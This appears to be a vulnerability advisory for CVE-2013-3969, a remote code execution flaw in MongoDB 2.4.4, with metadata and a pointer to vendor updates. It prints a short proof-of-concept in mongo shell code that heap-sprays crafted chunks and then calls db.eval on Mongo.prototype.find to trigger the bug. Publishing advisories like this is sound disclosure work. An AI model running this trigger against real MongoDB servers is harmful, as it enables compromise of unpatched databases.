MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability

Bugtraq ID:	61309
Class:	Input Validation Error
CVE:	CVE-2013-3969
Remote:	Yes
Local:	No
Published:	Jun 04 2013 12:00AM
Updated:	Jan 20 2014 01:02AM
Credit:	SCRT Security
Vulnerable:
Not Vulnerable:

MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability

MongoDB is prone to a remote code execution vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to execute arbitrary code within the context of the affected application.

MongoDB 2.4.4 is vulnerable; other versions may also be affected.

MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability

Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following example data is available:

use databaseMapped

sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }

db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');

MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability

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